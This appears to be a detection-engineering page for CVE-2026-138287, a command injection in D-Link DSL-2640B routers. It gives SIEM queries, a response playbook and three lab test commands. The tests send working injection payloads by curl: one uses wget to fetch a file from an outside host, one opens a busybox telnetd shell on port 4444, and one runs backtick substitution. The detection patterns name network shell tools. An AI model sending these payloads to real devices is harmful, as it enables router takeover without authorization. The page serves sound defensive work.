Skip to content
CVE-2026-138287 Sumo Logic CSE · Sumo

Detect D-Link DSL-2640B portmapcfg.cmd cgiPortMapQrySwitch Command Injection (CVE-2026-138287) in Sumo Logic CSE

Detects exploitation attempts against CVE-2026-138287, a critical (CVSS 9.3) OS command injection vulnerability in the cgiPortMapQrySwitch function within portmapcfg.cmd on D-Link DSL-2640B routers running firmware 3.0.6.0.41. An attacker can inject shell metacharacters (CWE-77/CWE-78) into the pmapcfgname parameter of the port-mapping configuration endpoint to execute arbitrary OS commands on the device. The attack can be initiated remotely and a public exploit has been released. Because these embedded routers lack endpoint agents, detection focuses on HTTP request telemetry from network proxies, firewalls, and web/management traffic logs showing shell metacharacters or command sequences in requests to portmapcfg.cmd, followed by anomalous outbound connections from the device.

MITRE ATT&CK

Tactic
Initial Access Execution Lateral Movement

Sumo Detection Query

Sumo Logic CSE (Sumo)
sql
// df00tech DF00-1359ca0421 · https://df00tech.com/detections/CVE-2026-138287 · licence: https://df00tech.com/detections/licence
_sourceCategory=*proxy* OR _sourceCategory=*firewall*
| where url matches "*portmapcfg.cmd*" or url matches "*cgiPortMapQrySwitch*" or url matches "*pmapcfgname*"
| where url matches /(?i)(;|\||`|\$\(|%3B|%7C|%60|wget|curl|tftp|busybox|\/bin\/sh|telnetd)/
| count by src_ip, dest_ip, dest_port, url
| sort by _count
critical severity medium confidence

Sumo Logic search over proxy/firewall logs for DSL-2640B port-mapping requests containing command-injection indicators.

Data Sources

Network Proxy LogsFirewall HTTP InspectionWeb Gateway

Required Tables

_sourceCategory=proxy_sourceCategory=firewall

False Positives & Tuning

  • Scanner probe traffic with injection-style payloads
  • Legitimate configuration containing reserved characters
  • Authorized penetration tests

Other platforms for CVE-2026-138287


Testing Methodology

Validate this detection against 3 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are further down this page.

  1. Test 1 Simulate portmapcfg.cmd command injection via pmapcfgname

    Expected signal: Proxy/firewall HTTP log entry to portmapcfg.cmd with decoded query string containing 'pmapcfgname=test;wget ...'.

  2. Test 2 Pipe-based command injection probe

    Expected signal: HTTP request log with raw '%7C' and 'busybox'/'telnetd' tokens in the URL to portmapcfg.cmd.

  3. Test 3 Backtick command substitution probe

    Expected signal: HTTP log entry to portmapcfg.cmd containing a backtick (raw or %60) around 'id' in the pmapcfgname value.


Response Playbook

Triage

  1. Confirm the target device is a D-Link DSL-2640B running firmware 3.0.6.0.41 (or an unpatched variant) by reviewing the destination IP's asset inventory and any banner/UA data in the proxy logs.
  2. Extract and URL-decode the full pmapcfgname parameter from the matched request to determine the exact command the attacker attempted to execute (e.g., wget of a second-stage payload, reverse shell, or reconnaissance command).
  3. Determine whether the request returned an HTTP 200 and whether any corresponding outbound connection was initiated by the device shortly after, which indicates successful command execution.
  4. Check the source IP reputation against threat intelligence feeds to distinguish opportunistic botnet scanning from targeted activity.

Containment

  1. Block the attacker source IP at the perimeter firewall and restrict management-interface (HTTP/HTTPS) access to the DSL-2640B to trusted administrative networks only (ACL / management VLAN).
  2. Isolate the affected router from the internet if compromise is suspected, and disable remote/WAN-side administration on the device.
  3. Rotate device administrative credentials and any secrets reachable from the device after a confirmed compromise.

Evidence Collection

  1. Preserve the full proxy/firewall HTTP request and response records, including source IP, timestamp, decoded URL, and payload, for the incident record.
  2. Capture the device configuration backup and, if accessible, the router's syslog/running state for forensic review of injected port-mapping entries and persistence.

Escalation Criteria

  • !Escalate to incident response immediately if logs show the device making outbound connections to attacker-controlled infrastructure or downloading a payload after the injection request.
  • !Escalate if multiple internal devices or management endpoints show the same injection pattern, indicating lateral movement or a coordinated campaign against network infrastructure.

Investigation Guide

Forensic Artifacts

  • >Proxy/firewall HTTP access logs containing requests to portmapcfg.cmd with shell metacharacters in pmapcfgname
  • >Router syslog entries or configuration showing anomalous port-mapping rule names or injected commands
  • >NetFlow/connection logs showing unexpected outbound connections originating from the router IP

Tuning Guidance

Scope the queries to proxy/firewall segments that actually front D-Link DSL-2640B devices to reduce noise. Baseline normal administrative configuration traffic and allowlist known management source IPs. If vulnerability scanners regularly probe this interface, exclude their source IPs or correlate only on requests that produce a subsequent outbound connection from the device, which strongly elevates confidence of successful exploitation.


Hunting Queries

Hunts for any requests to the DSL-2640B port-mapping endpoint carrying command-injection characters, grouped by source, to surface scanning or exploitation bursts.

Hunting — KQL
kql
// df00tech DF00-1359ca0421 · https://df00tech.com/detections/CVE-2026-138287 · licence: https://df00tech.com/detections/licence
CommonSecurityLog | where RequestURL has "portmapcfg.cmd" | extend d = url_decode(RequestURL) | where d has_any (";","|","`","$(","wget","curl") | summarize count() by SourceIP, bin(TimeGenerated, 1h)
Hunting — SPL
spl
``` df00tech DF00-1359ca0421 · https://df00tech.com/detections/CVE-2026-138287 · licence: https://df00tech.com/detections/licence ```
index=proxy uri_path="*portmapcfg.cmd*" | eval d=urldecode(uri_query) | where match(d,"(?i)(;|\||`|wget|curl)") | stats count by src_ip, uri_query

Atomic Red Team Tests

Test 1 Simulate portmapcfg.cmd command injection via pmapcfgname
linux

Sends a crafted HTTP request to the DSL-2640B port-mapping endpoint with a semicolon-delimited OS command in the pmapcfgname parameter to validate detection of command-injection payloads. Run only against an authorized lab device or mock endpoint.

Command

bash
curl -s -G 'http://192.0.2.10/portmapcfg.cmd' --data-urlencode 'cgiPortMapQrySwitch=1' --data-urlencode 'pmapcfgname=test;wget http://198.51.100.5/x -O /tmp/x'

Cleanup

bash
rm -f /tmp/x 2>/dev/null; true

Expected Telemetry

Proxy/firewall HTTP log entry to portmapcfg.cmd with decoded query string containing 'pmapcfgname=test;wget ...'.

Expected Detection

The kql/spl/EQL rules fire on the semicolon and 'wget' keyword within the pmapcfgname parameter.

Test 2 Pipe-based command injection probe
linux

Issues a request using a URL-encoded pipe character and busybox invocation in pmapcfgname to validate detection of alternate metacharacter encodings. Authorized lab use only.

Command

bash
curl -s 'http://192.0.2.10/portmapcfg.cmd?cgiPortMapQrySwitch=1&pmapcfgname=a%7Cbusybox+telnetd+-l/bin/sh+-p4444'

Cleanup

bash
true

Expected Telemetry

HTTP request log with raw '%7C' and 'busybox'/'telnetd' tokens in the URL to portmapcfg.cmd.

Expected Detection

Rules match on the %7C encoding and busybox/telnetd keywords.

Test 3 Backtick command substitution probe
linux

Sends a request containing backtick command substitution in pmapcfgname to confirm the detection catches shell substitution syntax. Run against a lab/mock endpoint only.

Command

bash
curl -s -G 'http://192.0.2.10/portmapcfg.cmd' --data-urlencode 'cgiPortMapQrySwitch=1' --data-urlencode 'pmapcfgname=`id`'

Cleanup

bash
true

Expected Telemetry

HTTP log entry to portmapcfg.cmd containing a backtick (raw or %60) around 'id' in the pmapcfgname value.

Expected Detection

Rules fire on the backtick / %60 metacharacter indicator.

Related Detections